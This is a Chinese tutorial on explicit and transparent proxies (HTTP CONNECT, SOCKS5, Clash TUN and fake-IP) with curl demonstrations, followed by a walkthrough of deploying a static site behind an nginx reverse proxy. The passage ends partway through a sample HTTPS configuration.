&lt;p&gt;当网络路由配置成「所有访问外网的流量只能走 Proxy 那一跳」时，出口代理一旦失效，就会形成&lt;strong&gt;网络黑洞&lt;/strong&gt;：终端能解析 DNS，也能 ping 内网，访问外网 HTTP/HTTPS 则全部超时，只能看到 SYN 发出却没有任何应答&lt;/p&gt;
&lt;p&gt;终端代理可以看作是把这一套逻辑搬到本机
-&amp;gt;应用不直接连目标，而是先连本机的 HTTP/SOCKS 端口，之后由本机代理根据配置做下一步转发&lt;/p&gt;
&lt;h3&gt;显式出口代理&lt;/h3&gt;
&lt;p&gt;显式出口代理要求应用「事先知道自己在走代理」，并且按代理协议把目标信息发给代理&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;应用先连代理 → 告诉代理真实目标 → 代理再去连目标&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;浏览器里配置 HTTP 代理地址后，访问 &lt;code&gt;http://host/&lt;/code&gt; 时，请求不会直接发到 &lt;code&gt;host:80&lt;/code&gt;，而是先发到代理，例如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET http://host/path HTTP/1.1 
Host: host
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 HTTPS 时，请求同样先发到代理，先走一条 CONNECT 隧道&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CONNECT host:443 HTTP/1.1 
Host: host:443
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代理确认后返回 &lt;code&gt;200 Connection established&lt;/code&gt;，之后客户端才在这条连接上完成 TLS 握手，收发加密后的 HTTPS 报文&lt;/p&gt;
&lt;p&gt;我们还是使用&lt;code&gt;curl&lt;/code&gt;来看看区别&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;已知在我的本地已经使用&lt;code&gt;clash-verge&lt;/code&gt;开起了系统代理，混合端口为&lt;code&gt;7897&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ curl -v https://www.baidu.com
* Host www.baidu.com:443 was resolved.
*   Trying [2409:8c20:6:1794:0:ff:b080:87f0]:443...
...#省略略略略
* Connected to www.baidu.com (2409:8c20:6:1794:0:ff:b080:87f0) port 443
&amp;gt; GET / HTTP/1.1
&amp;gt; Host: www.baidu.com
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ curl -v -x http://127.0.0.1:7897 https://www.baidu.com
*   Trying 127.0.0.1:7897...
* CONNECT tunnel: HTTP/1.1 negotiated
* Establish HTTP proxy tunnel to www.baidu.com:443
&amp;gt; CONNECT www.baidu.com:443 HTTP/1.1
&amp;gt; Host: www.baidu.com:443
...#省略省省省
&amp;lt; HTTP/1.1 200 Connection established
...#省省省省略
* Connected to 127.0.0.1 (127.0.0.1) port 7897
&amp;gt; GET / HTTP/1.1
&amp;gt; Host: www.baidu.com

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以很明显看出什么东西~~(吗~~:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;curl 先连的是 &lt;code&gt;127.0.0.1:7897&lt;/code&gt;，也就是 Clash-Verge 的混合端口，不是百度&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;建立 TCP 后，curl 发了一条 HTTP 请求：&lt;code&gt;CONNECT www.baidu.com:443 HTTP/1.1&lt;/code&gt;&lt;br /&gt;
这一步是在“跟代理说话”
“请你帮我去连 &lt;code&gt;www.baidu.com:443&lt;/code&gt;，给我开一条隧道”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Clash-Verge 接受这条 CONNECT，自己去连百度，连上后回一个 &lt;code&gt;HTTP/1.1 200 Connection established&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;从这一刻开始，这条 TCP 连接里后续的内容，就是 TLS 握手和加密后的 HTTP 数据了&lt;br /&gt;
curl 的视角是「我连着 127.0.0.1:7897，隧道另一头是 &lt;code&gt;www.baidu.com:443&lt;/code&gt;」&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这就是显式出口代理的本质&lt;/p&gt;
&lt;p&gt;玩玩看呗
现在一个终端里起一个监听&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -l -p 11451
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们去另一个终端发一个请求&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -v -x http://127.0.0.1:11451 https://www.baidu.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后这个请求就没有出网了，这只是假代理看看两边连接
&lt;img src=&quot;Proxy-server/http-proxy.jpg&quot; alt=&quot;http-proxy&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;透明出口代理&lt;/h3&gt;
&lt;p&gt;透明出口代理目标是「不动应用配置」，通过网络层把流量转到代理进程&lt;/p&gt;
&lt;p&gt;在网关上，可通过 iptables REDIRECT 或 TProxy 将匹配的 TCP/UDP 流量重定向到本地代理端口。REDIRECT 通过修改数据包目的地址实现，TProxy 则通过更换 skb 上绑定的 socket，实现不改包头的透明截获&lt;/p&gt;
&lt;p&gt;在终端上，TUN 模式通过创建虚拟网卡并修改默认路由，让所有出网 IP 包先到虚拟网卡，再由用户态代理读出、解析并决定下一跳；TProxy/redir 模式则在本机防火墙层挂钩需要代理的连接&lt;/p&gt;
&lt;p&gt;嗯还是我们的百度&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;已知在我的本地已经用&lt;code&gt;clash-verge&lt;/code&gt;开起了&lt;strong&gt;TUN 模式&lt;/strong&gt;，混合端口为&lt;code&gt;7897&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ curl -v https://www.baidu.com
* Host www.baidu.com:443 was resolved.
* IPv6: (none)
* IPv4: 198.18.0.23
...
* Connected to www.baidu.com (198.18.0.23) port 443
...
* Server certificate:
*  subject: ... CN=baidu.com
...
&amp;lt; HTTP/1.1 200 OK
...

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在应用眼中它是&lt;code&gt;curl -v https://www.baidu.com&lt;/code&gt;
但是实际路径是&lt;code&gt;curl → 透明代理（Clash TUN/fake-ip）→ 真正的 www.baidu.com&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 TUN + fake-ip 模式下，系统的 DNS 和路由被重写，应用解析到的是 fake-ip，连接打到本机虚拟网段；
代理根据fake-ip 反查出原始域名，再自己去连真实的远端地址，完成一整套“对应用透明”的出站代理&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这张表fake-ip是&lt;strong&gt;动态的内存表&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;fake-ip 子网里的 IP 是&lt;strong&gt;会被复用的，不是“一次分配就永远属于某个域名”&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;透明代理容易产生问题的原因在于：它修改的是系统范围的路由/防火墙行为，一旦规则写错或代理不工作，受影响的是整张链路，而不是单个应用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Tip:
  应用
     ↘-系统路由/防火墙（iptables/nftables/TUN/TProxy..）
         ↘-本机某个代理端口（Clash/Squid/Nginx..）
             ↘-真实目标服务器
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;终端代理角色&lt;/h3&gt;
&lt;p&gt;终端代理在一台机器上主要干三件事：接入口、接系统、做决策&lt;/p&gt;
&lt;p&gt;第一件是给应用一个「能&lt;strong&gt;配置的入口&lt;/strong&gt;」
最常见就是本地 HTTP/SOCKS 端口：浏览器、Git、curl、各种 SDK，可以显式把代理写成 &lt;code&gt;http://127.0.0.1:7897&lt;/code&gt;，流量先打到终端代理，再由它转出去&lt;/p&gt;
&lt;p&gt;第二件是&lt;strong&gt;接管系统级流量&lt;/strong&gt;
这时候应用自己不认代理，终端代理要靠「系统手段」把连接拦过来：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TUN 是虚拟一块网卡，把默认路由指向它，所有 IP 包先进这块网卡，由代理进程在用户态读出来；&lt;br /&gt;
TProxy 是在内核的防火墙层做钩子，应用以为自己在连目标 IP，iptables/nftables 把连接标记之后，直接“挂”到代理监听的 socket 上，代理再通过 &lt;code&gt;SO_ORIGINAL_DST&lt;/code&gt; 等接口拿回原始目的地址&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;从应用视角看，这两种方式都是直连；
从代理视角看，多了一条 inbound 叫 TUN 或 TProxy，可以拿到&lt;strong&gt;整个系统&lt;/strong&gt;的连接&lt;/p&gt;
&lt;p&gt;第三件是&lt;strong&gt;做规则和出口选择&lt;/strong&gt;
终端代理拿到一条连接后，会根据域名、IP、端口、入站来源（是 HTTP、SOCKS 还是 TUN 进来的）去匹配规则，最后得出一个结论：这条连接直连、走哪个上游节点，还是直接拒绝&lt;/p&gt;
&lt;p&gt;Clash Core 的配置文件把这三块拆得很清楚：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;inbounds：有哪些入口（HTTP/SOCKS/TUN/TProxy等）&lt;/li&gt;
&lt;li&gt;proxies：有哪些可用的出站（直连、各类节点、上游代理）&lt;/li&gt;
&lt;li&gt;proxy-groups：怎么把多个出站组合成一个策略（首选、测速、负载均衡）&lt;/li&gt;
&lt;li&gt;rules：一条连接应该落到哪个策略组&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就是一个完整的终端代理模型：&lt;br /&gt;
应用不管你怎么折腾路由和 TProxy，最终只要有一个稳定的&lt;strong&gt;本机出入口&lt;/strong&gt;和一套可预期的&lt;strong&gt;规则&lt;/strong&gt;，就能在这台机器上跑起来&lt;/p&gt;
&lt;h2&gt;HTTP 代理和 SOCKS 代理&lt;/h2&gt;
&lt;p&gt;前面在&lt;strong&gt;代理协议类型&lt;/strong&gt;里已经给 HTTP/HTTPS 代理 和 SOCKS 代理做过一次整体介绍，这里只补一点协议细节&lt;/p&gt;
&lt;h3&gt;re:HTTP 代理&lt;/h3&gt;
&lt;p&gt;可以直接参考前面百度,再写就太乱了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP 代理的控制面就是 HTTP 报文本身&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;HTTP 代理的特点是可以看到 Host（以及在非 CONNECT 场景下的 Path），很适合做按域名/路径分流、缓存与访问控制&lt;/p&gt;
&lt;h3&gt;re:SOCKS 代理&lt;/h3&gt;
&lt;p&gt;SOCKS 代理工作在传输层之上，协议本身与应用层无关
SOCKS 代理不关心上层协议，只做&lt;strong&gt;目标地址 ↔ 字节流&lt;/strong&gt;转发&lt;/p&gt;
&lt;p&gt;以 SOCKS5 为例，握手过程基本是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;客户端与代理建立 TCP 连接，声明支持的认证方式；&lt;/li&gt;
&lt;li&gt;代理选择一种认证方式；&lt;/li&gt;
&lt;li&gt;客户端发送请求指定目标地址和端口（CONNECT、BIND 或 UDP ASSOCIATE）；&lt;/li&gt;
&lt;li&gt;代理尝试建立与目标的连接，成功后回复状态码；&lt;/li&gt;
&lt;li&gt;之后双向数据流不再包含 SOCKS 协议，变为普通 TCP/UDP 转发&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;嗯还是百度&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;已知在我的本地已经使用&lt;code&gt;clash-verge&lt;/code&gt;开起了系统代理，混合端口为&lt;code&gt;7897&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt; $ curl -v --socks5 127.0.0.1:7897 https://www.baidu.com
*   Trying 127.0.0.1:7897...
* Host www.baidu.com:443 was resolved.
* IPv6: ...
* IPv4: 36.152.44.132, 36.152.44.93
* SOCKS5 connect to 36.152.44.132:443 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7897
...
&amp;gt; GET / HTTP/1.1
&amp;gt; Host: www.baidu.com

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;curl 把「目标 = 36.152.44.132:443」封在 SOCKS5 的 CONNECT 请求里发给 127.0.0.1:7897；&lt;/li&gt;
&lt;li&gt;Clash-Verge 收到后自己去连 36.152.44.132:443，连通了就回一个 “granted”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从 &lt;code&gt;curl&lt;/code&gt; 的角度看，它一直连的是本机 7897；&lt;br /&gt;
从&lt;code&gt;clash-verge&lt;/code&gt; 的角度看，它帮你在另一端连上了 36.152.44.132:443，把两边的字节流对接起来&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;也正因为 SOCKS5 不关心上层协议，它可以被拿来当通用隧道&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;差异与适用场景&lt;/h3&gt;
&lt;p&gt;HTTP代理具备HTTP协议语义，可以读取 &lt;code&gt;Host/Path/Method/Headers&lt;/code&gt;，适合专门处理 Web 流量,做路径路由、缓存、Header 注入、重写等工作，&lt;em&gt;反向代理基本都属于这一类&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;SOCKS 代理对应用层协议透明，更适合作为&lt;strong&gt;通用隧道&lt;/strong&gt;，在终端层统一承载各种协议的出站流量&lt;/p&gt;
&lt;p&gt;终端代理通常会同时开启 HTTP 和 SOCKS 入站端口，并将它们统一抽象为&lt;strong&gt;到一个目标地址的连接&lt;/strong&gt;，之后由同一套规则引擎和出站选择逻辑处理&lt;/p&gt;
&lt;h2&gt;终端代理和系统流量&lt;/h2&gt;
&lt;h3&gt;终端代理架构&lt;/h3&gt;
&lt;p&gt;终端代理可抽象为三段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;入站 : 接收来自应用或系统的流量，包括 HTTP/SOCKS 监听端口，以及 TUN/TPROXY 等系统级入口&lt;/li&gt;
&lt;li&gt;规则 : 基于域名、IP、端口、入站来源甚至进程信息，匹配出一个策略或策略组&lt;/li&gt;
&lt;li&gt;出站 : 根据策略决定如何发起下游连接，是直连、某个上游节点、另一个代理，还是直接拒绝&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;大部分终端代理的配置文件，基本都是围着这三块展开：先定义有哪些入口，再列出可以用的出口，最后写一堆规则，把每一条连接从某个入口，导到某个出口或出口集合&lt;/p&gt;
&lt;h3&gt;入站和出站&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;入站部分包含本机监听的各种端口和虚拟接口&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;HTTP 入站&lt;/h4&gt;
&lt;p&gt;监听某个端口同时提供 HTTP 代理服务，供浏览器、curl 等直接使用&lt;/p&gt;
&lt;h4&gt;SOCKS 入站&lt;/h4&gt;
&lt;p&gt;监听 SOCKS5，用于承载非 HTTP 协议或需要 UDP 配合的应用&lt;/p&gt;
&lt;h4&gt;TUN/TProxy 入站&lt;/h4&gt;
&lt;p&gt;通过虚拟网卡或内核透明代理拦截系统发出的 IP 包或 TCP 连接，实现系统级透明代理&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;出站则是各种「下一跳」描述&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;直连（DIRECT）&lt;/h4&gt;
&lt;p&gt;由代理进程直接发起到目标服务器的连接&lt;/p&gt;
&lt;h4&gt;上游代理&lt;/h4&gt;
&lt;p&gt;将连接转发给另一层 HTTP/SOCKS/专用协议代理&lt;/p&gt;
&lt;h4&gt;节点集群&lt;/h4&gt;
&lt;p&gt;描述多个可选出口，后续由策略组在其中选择&lt;/p&gt;
&lt;h3&gt;规则和策略组&lt;/h3&gt;
&lt;p&gt;规则是「匹配条件 → 策略组」的有序列表&lt;/p&gt;
&lt;p&gt;典型规则条件包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;域名匹配（全匹配、后缀匹配、关键词匹配）&lt;/li&gt;
&lt;li&gt;IP 匹配（CIDR 段、GeoIP 区域）&lt;/li&gt;
&lt;li&gt;端口、入站来源等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;策略组则可以是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;select：手动选择一个候选出口。&lt;/li&gt;
&lt;li&gt;url-test/load-balance：自动测速或负载均衡，在多个出口之间选择&lt;/li&gt;
&lt;li&gt;special：DIRECT/REJECT 等特殊行为&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;终端代理主界面的「规则/全局/直连」模式切换，本质上是选择不同规则集或绕过规则，将所有连接强行落到某个策略上&lt;/p&gt;
&lt;p&gt;如果你很闲，就可以自己去看看clash-verge的配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mixed-port: 7897
tun:
  auto-detect-interface: true
  auto-route: true
  device: Mihomo
  dns-hijack:
  - any:53
  mtu: 1500
  stack: system
  strict-route: false
  enable: false
external-controller-unix: /tmp/verge/verge-mihomo.sock
proxies:
- name: xxxxxxxx
  type: trojan
  server: xxxxxxxxxxx
  port: 9120
  password: xxxxxxxxxxxx
  udp: true
  sni: xxxxxxxxxx
  skip-cert-verify: true
proxy-groups:
- name: xxxx
  type: select
  proxies:
  - xxxx
rules:
- DOMAIN,xxxxxxxxxxxxxxxxxx,DIRECT
- DOMAIN-SUFFIX,xxxxxxx,xxxx
- DOMAIN-SUFFIX,xxxx,xxxx
- DOMAIN-SUFFIX,xxxxxxxxxxxxxxxxxx,xxxx
- DOMAIN-SUFFIX,xxxxxxxxxxxxxx,xxxx
- DOMAIN-SUFFIX,xxxxxxxxxxxxxx,xxxx
- DOMAIN-SUFFIX,xxxxxxxxxxx,xxxx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However &lt;em&gt;注意隐私安全&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;系统级透明模式&lt;/h3&gt;
&lt;p&gt;系统级透明模式通过 TUN 或 TProxy 将整个系统产生的流量导入代理&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TUN 模式下，操作系统路由表会把默认路由指向&lt;strong&gt;虚拟网卡&lt;/strong&gt;，代理进程从 TUN 设备读取 IP 包并还原出 TCP/UDP 流&lt;/li&gt;
&lt;li&gt;TProxy 模式下，应用认为自己在直连目标 IP，内核根据 iptables 规则把数据包绑定到代理进程监听的 socket，代理再根据 SO_ORIGINAL_DST 或 IP_TRANSPARENT 等机制获得原始目的地址&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这两种模式一旦配置错误，会直接表现为&lt;strong&gt;整机无法出网、DNS 查询回环、代理自身连接被错误重定向&lt;/strong&gt;等典型故障，需要结合路由表、iptables 和代理日志一起排查&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;不要乱搞UwU&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;DNS 协作&lt;/h3&gt;
&lt;p&gt;终端代理若按域名分流，仅依赖 IP 会遇到多租户 CDNs、共享 IP 等问题；因此通常会参与 DNS 解析过程&lt;/p&gt;
&lt;p&gt;常见协作方式包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;本地 DNS 服务器。代理监听本机 53 端口，拦截系统 DNS 查询，自己转发给上游 DNS，缓存「域名 → IP」映射，并在后续连接中通过 IP 反查域名，保证规则可以按域名生效&lt;/li&gt;
&lt;li&gt;fake-IP 模式。代理维护一段本地虚拟 IP 段，对每个域名分配一个固定 fake IP，返回给系统。系统发往 fake IP 的连接被代理拦截，代理借 fake IP 找回原始域名，从而精确按域名路由&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;反向代理和网站入口&lt;/h2&gt;
&lt;h3&gt;拓扑与角色&lt;/h3&gt;
&lt;p&gt;反向代理处于客户端与后端服务之间，对客户端暴露统一入口，对后端屏蔽外部细节&lt;/p&gt;
&lt;p&gt;典型拓扑是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Client → Nginx / Caddy → app1 / app2 / static / …
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;入口只监听 80/443 或少数一些端口，负责 TLS 握手、路由、负载均衡、日志和基础安全；后端服务则运行在内网，使用私有地址和端口&lt;/p&gt;
&lt;h3&gt;路由与负载均衡&lt;/h3&gt;
&lt;p&gt;Nginx 使用 &lt;code&gt;proxy_pass&lt;/code&gt; 配合 &lt;code&gt;upstream&lt;/code&gt; 模块完成反向代理与负载均衡&lt;/p&gt;
&lt;p&gt;Caddy 使用 &lt;code&gt;reverse_proxy&lt;/code&gt; 指令完成类似功能，对简单场景配置更为简洁&lt;a href=&quot;https://caddyserver.com/docs/caddyfile/directives/reverse_proxy&quot;&gt;Caddy Web Server&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;文档是大家的老师，也不必把文档背下来的对吧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;nginx&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://nginx.org/en/download.html&quot;&gt;nginx: download&lt;/a&gt;
maybe U should find yourself(?
&lt;a href=&quot;https://nginx.org/en/docs/beginners_guide.html&quot;&gt;Beginner’s Guide&lt;/a&gt;
毕竟nginx老资历很权威，所以我只能带大家简单入门&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 跳了安装，一定不是我嫌麻烦

$ sudo systemctl start nginx.service

$ sudo systemctl enable nginx.service # 开机自启,看需不需要咯

# $ sudo systemctl status nginx.service  
# 可以用这个命令看看服务情况
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看网上有个&lt;a href=&quot;https://github.com/aoverb/sorting&quot;&gt;排序可视化&lt;/a&gt;挺好玩的，那顺手用nginx部署一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /var/www/html
sudo git clone https://github.com/aoverb/sorting.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然得用npm先把项目构建一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cd /var/www/html/sorting
$ sudo npm install

$ sudo npm run build

$ ls /var/www/html/sorting
dist
eslint.config.js
index.html
LICENSE
node_modules
package.json
package-lock.json
pnpm-lock.yaml
postcss.config.cjs
public
README.md
src
tailwind.config.cjs
vite.config.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这边构建出来的结果在/dist目录
ok了之后就可以去看看nginx了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cd /etc/nginx/
$ ls
conf.d
default.d
fastcgi.conf
fastcgi.conf.default
fastcgi_params
fastcgi_params.default
koi-utf
koi-win
mime.types
mime.types.default
nginx.conf
nginx.conf.default
scgi_params
scgi_params.default
uwsgi_params
uwsgi_params.default
win-utf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里面主要要知道是&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;nginx.conf  芝士nginx的核心配置，里面有一行&lt;code&gt;include /etc/nginx/conf.d/*.conf;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;conf.d 目录 很明显吧新的服务最好都应该在这写&lt;/li&gt;
&lt;li&gt;mime.types &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/MIME_types&quot;&gt;MIME 类型（IANA 媒体类型） - HTTP | MDN&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;后面我们就来写点配置吧&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /etc/nginx/conf.d/

sudo nano /etc/nginx/conf.d/sorting.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;什么？你第一次用nano？
只要记得&lt;code&gt;ctrl S&lt;/code&gt; 保存和&lt;code&gt;ctrl X&lt;/code&gt; 退出就行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server {
    listen 11451;

    server_name _;

    root /var/www/html/sorting/dist;

    index index.html;
    location / {
        try_files $uri $uri/ /index.html;
    }
    access_log /var/log/nginx/sorting_access.log;

    error_log /var/log/nginx/sorting_error.log;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nginx有检查语法的工具&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们就可以重载nginx了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl reload nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后访问 &lt;a href=&quot;http://localhost:11451&quot;&gt;http://localhost:11451&lt;/a&gt; 就可以了
简单看看这些都是什么&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;server { ... }&lt;/code&gt;：虚拟主机（Virtual Host）配置块&lt;/li&gt;
&lt;li&gt;&lt;code&gt;listen  11451&lt;/code&gt;：监听端口与地址绑定&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server_name  _&lt;/code&gt;：服务器名称匹配规则&lt;/li&gt;
&lt;li&gt;&lt;code&gt;root /var/www/html/sorting/dist&lt;/code&gt;：根目录路径映射&lt;/li&gt;
&lt;li&gt;&lt;code&gt;index index.html&lt;/code&gt;：默认索引文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🤓☝️
你会疑惑，刚才的不是web静态服务器吗
我不会npm run dev吗？
为什么要用nginx?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你说的对，但是《Nginx》是由 Igor Sysoev 自主研发的一款全新高性能 HTTP 和反向代理服务器。软件运行在一个被称作「Linux」的开源世界，在这里，被 nginx.conf 选中的配置将被授予「Worker Process」，导引高并发之力。你将扮演一位名为「运维工程师」的神秘角色，在自由的部署中邂逅 proxy_pass、try_files、gzip 等性格各异、能力独特的指令们，和他们一起击败 &lt;strong&gt;C10K&lt;/strong&gt; 强敌，找回失散的 &lt;strong&gt;200 OK&lt;/strong&gt; ——同时，逐步发掘「Web 服务」的真相。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是不是差点忘了这一块正在讲反向代理（
🤔 那 来点怪东西？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nano /etc/nginx/conf.d/gateweiii.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看看gateway&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server {
    listen 80;

    server_name gugugaga.gugugaga.gugugaga;

    location / {
        proxy_pass http://127.0.0.1:11451;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    add_header X-Proxy-By &quot;SAST嘿壳,低调的嘿壳有多恐怖&quot;;

}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然还需要一点小巧思&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo nano /etc/hosts
# 加上这一句
# 127.0.0.1   gugugaga.gugugaga.gugugaga
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们就可以去访问我们的 &lt;a href=&quot;http://gugugaga.gugugaga.gugugaga&quot;&gt;http://gugugaga.gugugaga.gugugaga&lt;/a&gt;
你会发现居然是一样的东西
没错这就是反代&lt;/p&gt;
&lt;p&gt;玩闹归玩闹，来看看门道&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;proxy_pass http://127.0.0.1:11451;&lt;/code&gt;&lt;br /&gt;
这句话告诉 Nginx：凡是匹配到这个 server 的请求，全部&lt;strong&gt;转发&lt;/strong&gt;给本地的 11451 端口处理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;反向代理是所有流量的&lt;strong&gt;总入口&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;安全隔离&lt;/strong&gt;：外人不知道你后端跑的是什么，也不知道具体端口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;负载均衡&lt;/strong&gt;：可以开 10 个 sorting 服务（端口 11451-11460），Nginx 可以用 upstream 指令把流量轮询分发给它们，变身集群架构&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;统一入口&lt;/strong&gt;：你可以在同一个 80 端口下，用 /api 转发给 Python，用 /web 转发给 Node.js，用 /static 留给自己处理静态资源,总的来说就是想干啥干啥&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一个比较全面的配置文件可能像这样
这边没准备好好项目只能让ai给大会模拟一个了
&lt;s&gt;磕一个orz&lt;/s&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# =========================================================
# 1. 定义后端池 (Upstream) - 方便以后扩展多台服务器
# =========================================================
upstream my_backend_api {
    # 这里可以是 127.0.0.1，也可以是内网其他服务器 IP
    # keepalive 保持长连接，提升性能
    server 127.0.0.1:3000;
    keepalive 64;
}

# =========================================================
# 2. HTTP 跳转 HTTPS (80 -&amp;gt; 443)
# =========================================================
server {
    listen 80;
    listen [::]:80;
    server_name www.s3loy.tech s3loy.tech;

    # 只要有人访问 80，直接返回 301 永久重定向到 https
    return 301 https://www.s3loy.tech$request_uri;
}

# =========================================================
# 3. 主服务器配置 (HTTPS / 443)
# =========================================================
server {
    listen 443 ssl http2;      # 开启 HTTP/2
    listen [::]:443 ssl http2;
    server_name www.s3loy.tech;

    # -----------------------------------------------------
    # SSL 证书配置 (Certbot 会自动帮你填这些)
    # -----------------------------------------------------
    # ssl_certificate /etc/letsencrypt/live/www.s3loy.tech/fullchain.pem;
    # ssl_certificate_key /etc/letsencrypt/live/www.s3loy.tech/privkey.pem;
    
    # SSL 优化参数
    ssl_protocols TLSv1.2 TLSv1.3;  # 只允许安全的协议
    ssl_ciphers HIGH:!aNULL:!MD5;
